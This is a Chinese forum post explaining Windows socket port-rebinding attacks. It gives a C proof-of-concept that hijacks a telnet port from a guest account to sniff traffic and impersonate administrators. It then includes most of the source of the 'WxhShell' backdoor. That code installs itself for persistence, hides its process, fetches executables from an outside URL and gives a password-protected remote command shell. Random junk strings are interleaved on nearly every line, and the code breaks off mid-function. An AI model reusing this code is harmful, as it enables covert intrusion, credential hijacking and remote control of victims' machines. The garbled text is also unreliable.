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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Pl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `deY i2z  
JF9Hfs/jS  
  saddr.sin_family = AF_INET; #Z9L_gDp  
Ap<J'?~y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n[" 9|  
[]}N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Cvn$]bt/s  
IN!02`H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OyVm(%Z   
vr IV%l=  
  这意味着什么?意味着可以进行如下的攻击: Rlw3!]5+2  
Z^_>A)<s<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g(m_yXIx  
ElR)Gd_8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d-$_|G+  
>BoSw&T$Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ecFi (eMD  
\< 65??P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2Rptxb_@  
MCy~@)-IN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4rp6 C/i  
2 P}bG>M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u''BP.Y S  
==9ZFdf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @ss):FwA  
,"G\f1  
  #include J$[Q?8 ka  
  #include nQLs<]h1  
  #include E(Gr0#8  
  #include    3|eUy_d3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9g@NcJ]  
  int main() \E hr@g  
  { {;n0/   
  WORD wVersionRequested; r+\/G{+=}  
  DWORD ret; <GfVMD  
  WSADATA wsaData; ,wK 1=7  
  BOOL val; zSgjp\  
  SOCKADDR_IN saddr; 2d&^Sp&11  
  SOCKADDR_IN scaddr; 0XIxwc0Iw  
  int err; ;`jU_  
  SOCKET s; p24.bLr  
  SOCKET sc; r{ @ `o@q  
  int caddsize; p":zrf'(6  
  HANDLE mt; U[fSQ`&D  
  DWORD tid;   hyu}}0:  
  wVersionRequested = MAKEWORD( 2, 2 ); 4iBxPo(0  
  err = WSAStartup( wVersionRequested, &wsaData ); UrK"u{G  
  if ( err != 0 ) { aN'0} <s  
  printf("error!WSAStartup failed!\n"); v5 Y)al@  
  return -1; r)B3es&&  
  }  1N.tQ^  
  saddr.sin_family = AF_INET; !: |nI77|  
   8=4^Lm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fM:80bn L+  
ETelbj;0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Oz>io\P94  
  saddr.sin_port = htons(23); ^!uO(B&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9dYOH)f  
  { q/'MS[C  
  printf("error!socket failed!\n"); AM/lbMr  
  return -1; FsY`nWwg  
  }  -$R5  
  val = TRUE; Z;J`5=TS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /v$]X4 S`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vKkf2 7  
  { zJ_My&~  
  printf("error!setsockopt failed!\n"); l?/gW D^  
  return -1; vnZ/tF  
  } 3@HIpQM3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Pz {Ig  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e7|d=W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =,E'~P  
a71}y;W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y_lCcu#OA  
  { R `Q?J[e  
  ret=GetLastError(); k4mTZ}6E  
  printf("error!bind failed!\n"); _z%\'(l+  
  return -1; G>j "cj  
  } +V89J!7  
  listen(s,2); S41)l!+2  
  while(1) g TD%4V  
  { _w%s(dzk  
  caddsize = sizeof(scaddr); I,9~*^$  
  //接受连接请求 @`2ozi~lO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VY{,x;O`  
  if(sc!=INVALID_SOCKET) nOr"K;C  
  { v1K4$&{F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .m'N7`VB  
  if(mt==NULL) c8\g"T  
  { L]NYYP-  
  printf("Thread Creat Failed!\n"); 3H <`Z4;  
  break; |{!Ns+'  
  } o HRbAE^  
  }  qKx59  
  CloseHandle(mt); i*b4uHna  
  } SmvwhX  
  closesocket(s); 10TSc j  
  WSACleanup(); bY&YSlO  
  return 0; 'F6#l"~/  
  }   v6(,Ax&  
  DWORD WINAPI ClientThread(LPVOID lpParam) bZnDd  
  { $"(3MnR  
  SOCKET ss = (SOCKET)lpParam; -%N}A3m!5  
  SOCKET sc; rZ 6@b  
  unsigned char buf[4096]; jaNH](V  
  SOCKADDR_IN saddr; 5?)}F/x  
  long num; B8>FCF&}E  
  DWORD val; @OrXbG7&>#  
  DWORD ret; s'2y%E#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {AtfK>D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wd1 IX^7C%  
  saddr.sin_family = AF_INET; eKS:7:X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >4#tkv>S.  
  saddr.sin_port = htons(23); [)bz6\d[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Je@p5(f  
  { Hv+:fr"  
  printf("error!socket failed!\n"); P'gT6*an,"  
  return -1; 8L@UB6b\  
  } B0NN>)h  
  val = 100; .v$ue`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E^'C "6  
  { FC~|&  
  ret = GetLastError(); hE9'F(87a  
  return -1; _TV2)  
  } !~Ax  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) moZ)|y  
  { %y!   
  ret = GetLastError(); d#RF0,Y9  
  return -1; 60(}_%  
  } $Cut  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t=AE7  
  { 44g`=o@  
  printf("error!socket connect failed!\n"); z2"2tFK  
  closesocket(sc); tOu90gu  
  closesocket(ss); xuw//F  
  return -1; cob9hj#&7  
  } $#g#[ /  
  while(1) 4UkP:Vz:  
  { N}eU.#L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IiYuUN1D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pQ4 %]Api  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Oct\He\.  
  num = recv(ss,buf,4096,0); rHA/  
  if(num>0) rjhs ?  
  send(sc,buf,num,0); "E4i >g  
  else if(num==0) PxdJOtI"  
  break; \H"/2o%l")  
  num = recv(sc,buf,4096,0); iT)2 ?I6!  
  if(num>0) =[v2   
  send(ss,buf,num,0); x`/m>~_  
  else if(num==0) 1o"y%*"  
  break; h$:&1jVY{  
  } <S:,`v&Z  
  closesocket(ss); Ae,2Xi  
  closesocket(sc); VO\S>kw  
  return 0 ; !>"INmz  
  } +c~O0U1  
OsHkAI  
^mQ;CMV  
========================================================== #b<lt'gC  
'T #<OR  
下边附上一个代码,,WXhSHELL *NX*/(Q  
_s*uF_: 3  
========================================================== #lLn='4  
O23]!S<;  
#include "stdafx.h" SWe!9Y$  
mt&JgA/  
#include <stdio.h> '/ ]fZ|  
#include <string.h> E Ni%ge'":  
#include <windows.h> #o}{cXX#  
#include <winsock2.h> ?U2g8D nFY  
#include <winsvc.h> 1^Y:XJ73  
#include <urlmon.h> 4 G68WBT  
[1[[$ Dr  
#pragma comment (lib, "Ws2_32.lib") NjCLL`?f  
#pragma comment (lib, "urlmon.lib") f;qKrw  
5y 'ycTjY  
#define MAX_USER   100 // 最大客户端连接数 -* -zU#2|  
#define BUF_SOCK   200 // sock buffer F".IB^} $  
#define KEY_BUFF   255 // 输入 buffer uDMUy"8&!  
Vq;{+j(  
#define REBOOT     0   // 重启 A16-  
#define SHUTDOWN   1   // 关机 njx\$,ruN  
a 7mKshY(  
#define DEF_PORT   5000 // 监听端口 *T}dv)8  
;74 DT  
#define REG_LEN     16   // 注册表键长度 Q& unA3  
#define SVC_LEN     80   // NT服务名长度 O(WMTa'%  
3M>FU4Ug2  
// 从dll定义API P\G C8KV]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MHzsxF|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P.2.Ge|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *U[Q=w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4UX]S\X  
VIlQzM;%^  
// wxhshell配置信息 .L 5T4)  
struct WSCFG { / hj9Q!  
  int ws_port;         // 监听端口 <@;xV_`X+  
  char ws_passstr[REG_LEN]; // 口令 JKu6+V jO  
  int ws_autoins;       // 安装标记, 1=yes 0=no }od7YL  
  char ws_regname[REG_LEN]; // 注册表键名 5)zj){wL  
  char ws_svcname[REG_LEN]; // 服务名 AFF>r#e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J&0wl]w|O%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k=q%FlE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e+=G-u5}-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no = ,E(!Sp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QH? 2v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eNk!pI7g  
->#@rF:S  
}; n;T  
mjr{L{H=?+  
// default Wxhshell configuration U3R`mHr0  
struct WSCFG wscfg={DEF_PORT,  ! 6i  
    "xuhuanlingzhe", 8 $*cfOC  
    1, /iJhCB[QZ  
    "Wxhshell", @42lpreT  
    "Wxhshell", =.2cZwxX$  
            "WxhShell Service", KV&_^xSoh|  
    "Wrsky Windows CmdShell Service", t6>Q e  
    "Please Input Your Password: ", ,i((;/O6  
  1, U JRT4>G  
  "http://www.wrsky.com/wxhshell.exe", kQiW5  
  "Wxhshell.exe" WOTu" Yj  
    }; >71w #K  
w+TuS).  
// 消息定义模块 hI#M {cz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {*P7)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \\pyu]z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KKTfxNxJn  
char *msg_ws_ext="\n\rExit."; T{J`t*Ym  
char *msg_ws_end="\n\rQuit."; tf}Q%)`f  
char *msg_ws_boot="\n\rReboot..."; ) o(F*v  
char *msg_ws_poff="\n\rShutdown..."; nf@u7*# 6  
char *msg_ws_down="\n\rSave to "; -VT?/=Y s  
,OFr]74\  
char *msg_ws_err="\n\rErr!"; kFs kn55  
char *msg_ws_ok="\n\rOK!"; 5v-;*  
)x O_  
char ExeFile[MAX_PATH]; @<{ #v.T  
int nUser = 0; \$Qm2XKrK  
HANDLE handles[MAX_USER]; lcJumV=%>  
int OsIsNt; tg`!svL!  
ee?M o`  
SERVICE_STATUS       serviceStatus; > <[.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FQ ^^6Rl  
|(8h:g  
// 函数声明 |*| a~t  
int Install(void); w)>z3L m  
int Uninstall(void); lNPbU ~k  
int DownloadFile(char *sURL, SOCKET wsh); a^1c _  
int Boot(int flag); Qy,qQA/   
void HideProc(void); Kt7x'5  
int GetOsVer(void); H/I`c>Zn  
int Wxhshell(SOCKET wsl); 9 3I9`!e  
void TalkWithClient(void *cs); ]ZATER)jq  
int CmdShell(SOCKET sock); -H;y_^2  
int StartFromService(void); PP`n>v=n  
int StartWxhshell(LPSTR lpCmdLine); { qx,X.5$  
7anpz%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  -KiS6$-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W,J,h6{F  
2= mD  
// 数据结构和表定义 ?b$zuJ]  
SERVICE_TABLE_ENTRY DispatchTable[] = #9"_|d=l  
{ ^( VB5p  
{wscfg.ws_svcname, NTServiceMain}, ^*W<$A_  
{NULL, NULL} $yK!Q)e:  
}; 9m9=O&C~-<  
4>#^Pk?Ra  
// 自我安装 8H b|'Q|^  
int Install(void) F}[;ytmUS  
{ Mdh"G @$n  
  char svExeFile[MAX_PATH]; Br!&Y9  
  HKEY key; j( :A  
  strcpy(svExeFile,ExeFile); [SvwJIJJ  
$8}'6,  
// 如果是win9x系统,修改注册表设为自启动 `roSOX1f  
if(!OsIsNt) { :.Sc[UI0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m(P)oqwM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ![tI(TPq  
  RegCloseKey(key); Al]9/ML/m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dVfDS-v!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YTh4&wm  
  RegCloseKey(key); :W.(,65c  
  return 0; *p!dd?8  
    }  (RS:_]  
  } 4Pdk?vHK;  
} Q.AM  
else { FCPRg^=<!~  
5al{[mi  
// 如果是NT以上系统,安装为系统服务 r&DK> H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,oe{@ z{*@  
if (schSCManager!=0) 0^z$COCv  
{ B E)l77=/  
  SC_HANDLE schService = CreateService , &SJ?XAs  
  ( 20)Il:x  
  schSCManager, 9@B+$~:}7  
  wscfg.ws_svcname, d:''qgz`  
  wscfg.ws_svcdisp, (?[cDw/{J:  
  SERVICE_ALL_ACCESS, MzG.Qh'z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hkt'~ L*   
  SERVICE_AUTO_START, $z]l4Hj  
  SERVICE_ERROR_NORMAL, E>D@#I>  
  svExeFile, Of=z!|l2  
  NULL, ](D [T  
  NULL, {IvCe0`  
  NULL,  &i!]  
  NULL, ?_r"Fg;"  
  NULL TW0^wSm  
  ); 8hg(6 XUG  
  if (schService!=0) 3R><AFMY?  
  { 5P!17.W'u  
  CloseServiceHandle(schService); mUbaR  
  CloseServiceHandle(schSCManager); kuaov3Ui  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zZHsS$/  
  strcat(svExeFile,wscfg.ws_svcname); z-j\S7F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &Te:l-x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x{}m)2[Y  
  RegCloseKey(key); dp"w=~53  
  return 0; DI7trR`  
    } u4'Lm+&O  
  } b4wJnmC8  
  CloseServiceHandle(schSCManager); G`z48  
} 67eo~~nUtg  
} eC-TZH@  
C@-JH\{\T#  
return 1; |D~MS`~qd5  
} ajAEGD2Zq  
C&T3vM  
// 自我卸载 lI 8"o>-~  
int Uninstall(void) DxBt83e  
{ Fk4 3sqU6~  
  HKEY key; cPXvT Vvs  
8z-Td-R6  
if(!OsIsNt) { k <qQ+\X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gyK"#-/_d  
  RegDeleteValue(key,wscfg.ws_regname); AN;?`AM;  
  RegCloseKey(key); [xC (t]S-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^:0?R/A  
  RegDeleteValue(key,wscfg.ws_regname); PD?H5W3@  
  RegCloseKey(key); wK_}`6R/  
  return 0; KlPH.R3MPO  
  } i469<^A  
} OW>U 5 \q  
}  ;P_Zen  
else { #E1*1E  
@lX)dY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +CkK4<dF  
if (schSCManager!=0) f { ueI<  
{ J}x5Ko@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #/:[ho{JQ  
  if (schService!=0) T2d pn%I  
  { +Il=gL1  
  if(DeleteService(schService)!=0) { -4]6tt'G  
  CloseServiceHandle(schService); =pNkS1ey  
  CloseServiceHandle(schSCManager); oAL-v428  
  return 0; {1Qwwhov  
  } it,%T)2H  
  CloseServiceHandle(schService); zehF/HBzE  
  } (GV6%l#I  
  CloseServiceHandle(schSCManager); 2'_sGAH  
} 6$f,DU  
} ,rd+ dN  
uxcj3xE#d  
return 1; tx@Q/ou`\P  
} ?tcbiXRG+  
;i]cmy  
// 从指定url下载文件 ,]d}pJ}PX`  
int DownloadFile(char *sURL, SOCKET wsh) A1C@'9R*  
{ *8N~ Zmz  
  HRESULT hr; n)0{mDf%  
char seps[]= "/"; %vksN$^  
char *token; ZG>OT@ GA  
char *file; ^K"`k43{  
char myURL[MAX_PATH]; oGM.{\i  
char myFILE[MAX_PATH]; 0nS6<:  
JG_7G=~  
strcpy(myURL,sURL); CtfSfSAUuu  
  token=strtok(myURL,seps); 4k#6)e  
  while(token!=NULL) b{oNV-<&{  
  { NOx| #  
    file=token; N_ >s2  
  token=strtok(NULL,seps); 1/i|  
  } gO5;hd[ l  
L?P8/]DGp  
GetCurrentDirectory(MAX_PATH,myFILE); AL;"S;8  
strcat(myFILE, "\\"); t@Jo ?0s  
strcat(myFILE, file); <7p2OPD  
  send(wsh,myFILE,strlen(myFILE),0); 'i,<j s3\f  
send(wsh,"...",3,0); +)Ty^;+[1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z}&<D YD  
  if(hr==S_OK) @iaN@`5I6s  
return 0; k\[2o  
else "mOoGy, (  
return 1; i et|\4A  
,&k 5Qq  
} e7;]+pN]J  
" JRlj  
// 系统电源模块 OT[t EqQ  
int Boot(int flag) bcZuV5F&  
{ A@#dv2JzP  
  HANDLE hToken; lz(9pz  
  TOKEN_PRIVILEGES tkp; KyDBCCOv  
:G-1VtE n  
  if(OsIsNt) { FYj3! H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vr;7p[~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )uaB^L1  
    tkp.PrivilegeCount = 1; %9Ue`8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #4Z$O(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "~;jFB8  
if(flag==REBOOT) {  2AluH8X/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J h"]iN  
  return 0; &sRyM'XI  
} <(iOzn  
else {  :DD4BY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <@yyx7  
  return 0; NUU}8a(K  
} r B)WHx<  
  } EZHEJW'JnE  
  else { F7hQNQu:  
if(flag==REBOOT) { ANNL7Z3C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jlB3BwG{w  
  return 0; t EeMl =u  
} 9W8Dp?:  
else { S\,{ qhd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fG{oi(T  
  return 0; 4rx|6NV6  
} ,|H!b%ZW  
} qvscf_%FM  
1@ina`!1O  
return 1; iO@wqbg$6  
} r {8  
#i,O "`4  
// win9x进程隐藏模块 ZQ:Y5 ph  
void HideProc(void) f6#H@ X  
{ KYQ6U.%W  
HT]ubw]rJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k8ck#%#}Wu  
  if ( hKernel != NULL ) v!uLd.(  
  { 9D<HJ(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e,BJD>N ?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o]Ki+ U  
    FreeLibrary(hKernel); )Ga6O2:  
  } D%A-& =  
+~@Y#>+./l  
return; ..t=Y#  
} L_~G`Rb3  
OTm`i>rB  
// 获取操作系统版本 Xx^c?6YM  
int GetOsVer(void) )t4C*+9<U  
{ PEWzqZ|!;  
  OSVERSIONINFO winfo; p .HA `R>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m "DMa  
  GetVersionEx(&winfo); jt3SA [cy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ojs\2('u  
  return 1; p5KNqqZZ  
  else D8ly8]H  
  return 0; #cs!`Ngb+  
} hD*?\bBs0  
X]!@xlwF\  
// 客户端句柄模块 V*aTDU%-.  
int Wxhshell(SOCKET wsl) UOwNcY  
{ #q- _  
  SOCKET wsh; ,&-[$,  
  struct sockaddr_in client; 5f5ZfK3<i  
  DWORD myID; R4/@dA0  
($s{em4L  
  while(nUser<MAX_USER) $W]bw#NH  
{ z -D pLV  
  int nSize=sizeof(client); =Vs<DO{|4q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X&IY(CX  
  if(wsh==INVALID_SOCKET) return 1; UU/|s>F  
if'4MDl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hs4r5[  
if(handles[nUser]==0) 0u_'(Z-^2  
  closesocket(wsh); <c#[.{A}s  
else msylb~^  
  nUser++; W}RR_Gu  
  } 5glGlD6R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6,PL zZ5  
St`m52V(5X  
  return 0; 9o`3g@6z  
} A3_9MO   
0h#M)Ft  
// 关闭 socket BXY'%8q _a  
void CloseIt(SOCKET wsh) keOW{:^i  
{ R.N*G]K5  
closesocket(wsh); $w\, ."y  
nUser--; U:r2hqegd  
ExitThread(0); .Q@"];wH  
} |xm|Q(PG  
K }BX6dA  
// 客户端请求句柄 &/9oi_r%r  
void TalkWithClient(void *cs) P{18crC[1  
{ h.0K PF]O  
5ov%(QI  
  SOCKET wsh=(SOCKET)cs; (rn x56I$  
  char pwd[SVC_LEN]; DlI5} Jh  
  char cmd[KEY_BUFF]; s 'x mv{|  
char chr[1]; :8rCCop Uv  
int i,j; *\",  qMp  
sjm79/  
  while (nUser < MAX_USER) { dL(|Y{4  
G,*s9P]1  
if(wscfg.ws_passstr) { G>QTPXcD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6^;!9$G|D*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (_ah~VnO  
  //ZeroMemory(pwd,KEY_BUFF); UI C? S  
      i=0; @U@yIv  
  while(i<SVC_LEN) { <>_Wd AOuD  
u,:`5*al{  
  // 设置超时 6/ipdi[ _  
  fd_set FdRead; 6a?p?I K^  
  struct timeval TimeOut; D|9fHMg %  
  FD_ZERO(&FdRead); ton`ji\^  
  FD_SET(wsh,&FdRead); 3:lp"C51  
  TimeOut.tv_sec=8; ~-wJ#E3g  
  TimeOut.tv_usec=0; [t{ #@X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q}Z T?Xk?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r:4IKuTR  
GK?R76d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %+ a@|Z   
  pwd=chr[0]; : "te-  
  if(chr[0]==0xd || chr[0]==0xa) { )Cvzj<Q0  
  pwd=0; DAHf&/J K  
  break; Ag0_^  
  } Ml?)Sc"\7  
  i++; z/k~+-6O  
    } L^1q/4${  
;<@6f@  
  // 如果是非法用户,关闭 socket Mk/!,N<h#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GD{fXhgk  
} !r obau7  
eZ5}O0sfp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '. Hp*9R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7u5\#|yL  
Gj8[*3d  
while(1) { cqL7dlhIl  
(Zg'pSs)  
  ZeroMemory(cmd,KEY_BUFF); =GKYroNM  
I S8nvx\  
      // 自动支持客户端 telnet标准   MI'l4<>u  
  j=0; }"B? 8T@_~  
  while(j<KEY_BUFF) { oEoJa:h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CU1\C*  
  cmd[j]=chr[0]; ak8^/1*@  
  if(chr[0]==0xa || chr[0]==0xd) { 76Vyhf&7  
  cmd[j]=0; J:Y|O-S!  
  break; :#:O(K1PW  
  } ^iRwwN=d  
  j++; agm5D/H]:  
    } fwv T2G4  
6Y_O^f  
  // 下载文件 Xe3z6  
  if(strstr(cmd,"http://")) { j /dE6d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ElR&scXi__  
  if(DownloadFile(cmd,wsh)) uj9tr`Zh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$?7)F&z  
  else +bc#GzVF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hf+/kc!>i  
  } 3^R][;  
  else { ) ~)SCN>-  
Z++Z@J"  
    switch(cmd[0]) { >+jbMAYSq  
  eIUuq&(  
  // 帮助 Z: lB:U'o  
  case '?': { |;U=YRi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R(? <97  
    break; g3~~"`2  
  } iPY vePQ  
  // 安装 kV:FJx0xP  
  case 'i': { g\\1C2jG  
    if(Install()) ZA_zKJ[[7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s 9|a2/{  
    else ,;cel^.b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j`|^s}8t  
    break; (O_t5<A*X  
    } j*H;a ?Y  
  // 卸载 +)JNFy-  
  case 'r': { &ap`}^8pM  
    if(Uninstall()) or%gTVZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -_EY$ ?4  
    else 3r-VxP 5n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !M]%8NTt2  
    break; Ku0H?qft(  
    } (o*e<y,}W  
  // 显示 wxhshell 所在路径 L* k hj3;  
  case 'p': { xOV A1p b,  
    char svExeFile[MAX_PATH]; R?bn,T>  
    strcpy(svExeFile,"\n\r"); yxG:\y b  
      strcat(svExeFile,ExeFile); xgtJl}L  
        send(wsh,svExeFile,strlen(svExeFile),0); Sqdc1zC  
    break; YHO;IQ5  
    } $#G6m`V  
  // 重启 L_Y9+ e  
  case 'b': { 4/HY[FT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k(-Z@   
    if(Boot(REBOOT)) A#Q0{z@H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 95$pG/o  
    else { 9ra HSzK@d  
    closesocket(wsh); 7wiK.99  
    ExitThread(0); ?#BZ `H  
    } Mt[Bq6}ZD  
    break; Th7wP:iDP  
    } k1f3?l vlU  
  // 关机 Avs7(-L+s  
  case 'd': { FE8+E\ U?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C(F1VS  
